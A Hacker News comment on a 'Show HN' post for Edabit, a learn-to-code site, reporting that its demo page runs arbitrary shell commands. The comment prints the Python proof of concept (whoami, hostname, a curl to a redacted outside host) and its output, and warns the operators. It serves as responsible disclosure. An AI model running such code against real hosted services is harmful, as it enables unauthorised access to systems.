Show HN: Edabit – Like Duolingo for Learning to Code
Good job. However, I was able to run the following on your machine (on the publicly available demo page):<p>def hello():
    import os
    print(os.system("whoami"))
    print(os.system("hostname"))
    print(os.system("curl <a href="http://redacted/" rel="nofollow">http://redacted/</a> > ./owned.txt"))
    print(os.system("curl -s <a href="http://whatismyip.akamai.com/")" rel="nofollow">http://whatismyip.akamai.com/")</a>)
    print(os.system("cat ./owned.txt"))
    print(os.system("ping -c 1 8.8.8.8"))<p>Results:<p>codewarrior
5a8eb7db8f0e
162.243.103.238
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms<p>162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they <i>will</i> be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.